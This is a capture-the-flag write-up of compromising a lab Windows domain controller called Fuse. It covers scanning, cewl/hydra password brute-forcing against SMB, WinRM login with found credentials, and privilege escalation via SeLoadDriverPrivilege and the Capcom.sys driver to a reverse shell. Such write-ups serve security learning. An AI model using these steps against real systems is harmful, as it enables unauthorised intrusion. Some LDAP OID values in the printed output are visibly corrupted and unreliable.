Jump Ahead: Enum – User – Root – Special Thanks – Resources
To solve this machine, we begin by enumerating open services. Doing so, we learn that the machine exposes a lot of ports – mostly associated with an Active Directory server, as well as a web server. Going to the web server redirects us to a vhost, which we add to
/etc/hosts. Browsing to the vhost gives us usernames for the domain. Using cewl, we generate a password list, and use hydra to bruteforce credentials. We get 2 set of credentials, however, are unable to use them due to force password reset being enabled for the accounts. Changing
bhult‘s password, we gain access to the DC via RPC, where we find credentials for the
svc-print account. Using WinRM to connect to the machine as
svc-print, we gain access to
user.txt. Starting initial enumeration, we learn the
svc-print account has the
SeLoadDriverPrivilege privilege enabled. Using this to load a vulnerable driver, we are able to exploit it to get
NT Authority\System access and read
Like all machines, we begin by enumerating all exposed services. Doing so returns 20 open ports. We observe that the majority of the ports suggest that this is an Active Directory (AD) Domain Controller (DC).
$ nmap -v -p- --min-rate 3000 $RHOST $ nmap -A -oA scans/nmap/tcp-scripts -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49667,49669,49670,49672,49690,49752 $RHOST # Nmap 7.80 scan initiated Sat Jun 20 22:25:41 2020 as: nmap -A -oA scans/nmap/tcp-scripts -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49667,49669,49670,49672,49690,49752 10.10.10.193 Nmap scan report for fuse.fabricorp.local (10.10.10.193) Host is up (0.053s latency). PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Site doesn't have a title (text/html). 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-06-21 03:43:14Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49670/tcp open msrpc Microsoft Windows RPC 49672/tcp open msrpc Microsoft Windows RPC 49690/tcp open msrpc Microsoft Windows RPC 49752/tcp open msrpc Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=6/20%Time=5EEED340%P=x86_64-pc-linux-gnu%r(DNSV SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\ SF:x04bind\0\0\x10\0\x03"); Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 2h37m28s, deviation: 4h02m32s, median: 17m26s | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: Fuse | NetBIOS computer name: FUSE\x00 | Domain name: fabricorp.local | Forest name: fabricorp.local | FQDN: Fuse.fabricorp.local |_ System time: 2020-06-20T20:45:36-07:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2020-06-21T03:45:33 |_ start_date: 2020-06-21T03:12:53 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Jun 20 22:30:44 2020 -- 1 IP address (1 host up) scanned in 303.65 seconds
From the nmap script scans, we learn the domain is
fabricorp.local, and the machine’s name is
fuse. Going to the web server on port
80, we are redirected to the subdomain
fuse.fabricorp.local, which we add to our
/etc/hosts file for further enumeration. Anonymous authentication on SMB is allowed, however, no shares are exposed. Anonymous authentication via RPC is also enabled, however, nearly every command we run returns permission denied. Lastly, in initial enumeration, we check LDAP for information, however, do not find anything that is too helpful.
$ ldapsearch -h $RHOST -s base -x # extended LDIF # # LDAPv3 # base <> (default) with scope baseObject # filter: (objectclass=*) # requesting: ALL # # dn: currentTime: 20200621153421.0Z subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=fabricorp,DC=loc al dsServiceName: CN=NTDS Settings,CN=FUSE,CN=Servers,CN=Default-First-Site-Name, CN=Sites,CN=Configuration,DC=fabricorp,DC=local namingContexts: DC=fabricorp,DC=local namingContexts: CN=Configuration,DC=fabricorp,DC=local namingContexts: CN=Schema,CN=Configuration,DC=fabricorp,DC=local namingContexts: DC=DomainDnsZones,DC=fabricorp,DC=local namingContexts: DC=ForestDnsZones,DC=fabricorp,DC=local defaultNamingContext: DC=fabricorp,DC=local schemaNamingContext: CN=Schema,CN=Configuration,DC=fabricorp,DC=local configurationNamingContext: CN=Configuration,DC=fabricorp,DC=local rootDomainNamingContext: DC=fabricorp,DC=local supportedControl: 1.2.840.1135126.96.36.1999 supportedControl: 1.2.840.1135188.8.131.521 supportedControl: 1.2.840.1135184.108.40.2063 supportedControl: 1.2.840.1135220.127.116.118 supportedControl: 1.2.840.113518.104.22.1687 supportedControl: 1.2.840.113522.214.171.1249 supportedControl: 1.2.840.1135126.96.36.1991 supportedControl: 1.2.840.1135188.8.131.529 supportedControl: 1.2.840.1135184.108.40.2065 supportedControl: 1.2.840.1135220.127.116.111 supportedControl: 1.2.840.113518.104.22.1680 supportedControl: 1.2.840.113522.214.171.1248 supportedControl: 1.2.840.1135126.96.36.1994 supportedControl: 1.2.840.1135188.8.131.529 supportedControl: 1.2.840.1135184.108.40.2060 supportedControl: 1.2.840.1135220.127.116.113 supportedControl: 2.16.840.1.113718.104.22.168 supportedControl: 2.16.840.1.113722.214.171.124 supportedControl: 1.2.840.1135126.96.36.1994 supportedControl: 1.2.840.1135188.8.131.522 supportedControl: 1.2.840.1135184.108.40.2062 supportedControl: 1.2.840.1135220.127.116.117 supportedControl: 1.2.840.113518.104.22.1688 supportedControl: 1.2.840.113522.214.171.1244 supportedControl: 1.2.840.1135126.96.36.1991 supportedControl: 1.2.840.1135188.8.131.526 supportedControl: 1.2.840.1135184.108.40.2064 supportedControl: 1.2.840.1135220.127.116.115 supportedControl: 1.2.840.113518.104.22.1686 supportedControl: 1.2.840.113522.214.171.1240 supportedControl: 1.2.840.1135126.96.36.1995 supportedControl: 1.2.840.1135188.8.131.524 supportedControl: 1.2.840.1135184.108.40.2066 supportedControl: 1.2.840.1135220.127.116.111 supportedControl: 1.2.840.113518.104.22.1689 supportedControl: 1.2.840.113522.214.171.1245 supportedControl: 1.2.840.1135126.96.36.1996 supportedControl: 1.2.840.1135188.8.131.529 supportedLDAPVersion: 3 supportedLDAPVersion: 2 supportedLDAPPolicies: MaxPoolThreads supportedLDAPPolicies: MaxPercentDirSyncRequests supportedLDAPPolicies: MaxDatagramRecv supportedLDAPPolicies: MaxReceiveBuffer supportedLDAPPolicies: InitRecvTimeout supportedLDAPPolicies: MaxConnections supportedLDAPPolicies: MaxConnIdleTime supportedLDAPPolicies: MaxPageSize supportedLDAPPolicies: MaxBatchReturnMessages supportedLDAPPolicies: MaxQueryDuration supportedLDAPPolicies: MaxDirSyncDuration supportedLDAPPolicies: MaxTempTableSize supportedLDAPPolicies: MaxResultSetSize supportedLDAPPolicies: MinResultSets supportedLDAPPolicies: MaxResultSetsPerConn supportedLDAPPolicies: MaxNotificationPerConn supportedLDAPPolicies: MaxValRange supportedLDAPPolicies: MaxValRangeTransitive supportedLDAPPolicies: ThreadMemoryLimit supportedLDAPPolicies: SystemMemoryLimitPercent highestCommittedUSN: 109549 supportedSASLMechanisms: GSSAPI supportedSASLMechanisms: GSS-SPNEGO supportedSASLMechanisms: EXTERNAL supportedSASLMechanisms: DIGEST-MD5 dnsHostName: Fuse.fabricorp.local ldapServiceName: fabricorp.local:fuse$@FABRICORP.LOCAL serverName: CN=FUSE,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configur ation,DC=fabricorp,DC=local supportedCapabilities: 1.2.840.1135184.108.40.2060 supportedCapabilities: 1.2.840.1135220.127.116.110 supportedCapabilities: 1.2.840.113518.104.22.1681 supportedCapabilities: 1.2.840.113522.214.171.1245 supportedCapabilities: 1.2.840.1135126.96.36.1990 supportedCapabilities: 1.2.840.1135188.8.131.527 isSynchronized: TRUE isGlobalCatalogReady: TRUE domainFunctionality: 7 forestFunctionality: 7 domainControllerFunctionality: 7 # search result search: 2 result: 0 Success # numResponses: 2 # numEntries: 1
Having put the discovered vHost into our
/etc/hosts file, we go to
http://10.10.10.193 which redirects us to
http://fuse.fabricorp.local/papercut/logs/html/index.htm. Looking around the page, we see that the application is “Papercut Print Logger”, which is an application to view print jobs. Clicking the links to the different print jobs, we are able to pillage domain usernames.
Next, we can use cewl to generate a password list for easy brute forcing with hydra. Doing so, we find 2 sets of valid credentials.
$ cewl -d 5 --with-numbers http://fuse.fabricorp.local/papercut/logs/html/index.htm >potential-passwords.txt $ hydra smb://$RHOST -L usernames.txt -P potential-passwords.txt -m "other_domain:fabricorp"
Using Impacket’s smbclient.py, we can attempt to use the credentials to list the exported SMB shares. Doing so, we get an error message stating the credentials are valid, however, we need to change the passwords prior to logging into the machine. To change the passwords, we can use smbpasswd. When trying to change the password, we notice there is a password policy in place. In addition, the password gets reset every few seconds or so, and cannot be changed to a previously used password.
After successfully changing the password (and realizing the constant reset and policy), we decide to swap to rpcclient for enumeration, as it maintains a persistent connection. While enumerating RPC, we learn there is a
svc-print account, which leads us to invoke the enumprinters command. Having done so, we find a password, which we assume is for the
svc-print account. As a quick check, we attempt to use smbmap to check them – which shows they are valid.
Since we know that the credentials are valid, and WinRM is running on the machine, we can use evil-winrm to gain shell access to the machine. Once we are on the machine, we find
$ evil-winrm -i $RHOST -u svc-print -p 'password PS > cd C:\Users\svc-print\Desktop PS > cat user.txt
Having gotten access on the machine, we begin our local enumeration by first checking out everything about our user by running
whoami /all. Doing so, we see that we have the SeLoadDriverPrivilege privilege, which means that we have the ability to load system drivers.
Doing a little research, we learn that loading the Capcom.sys driver will allow us to execute command as the kernel. Following this guide, we upload the Capcom.sys driver to the machine via WinRM. Next, we generate a Meterpreter reverse shell as our payload, and download the mentioned driver loader and exploiter programs. We modify the code with the path to the Capcom driver, as well as the path to the reverse shell. We build the projects, then upload them to the remote server. *You will have better lucky if you use absolute paths* Lastly, we start our reverse listener, then execute the driver loader, followed by the exploiter. We should now have a reverse shell as
NT Authority\System, and can now read
Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!
- RPC Enumeration Walkthrough
- Microsoft Privilege Constants and Brief Meaning
- SeLoadDriverPrivilege Vulnerability and Exploit
- Capcom.sys Driver
As I am pretty nooby when it comes to Active Directory/Windows, I would like to extend a special thank you to the following individual for going above and beyond to explain concepts to me rather than just telling me what to look at.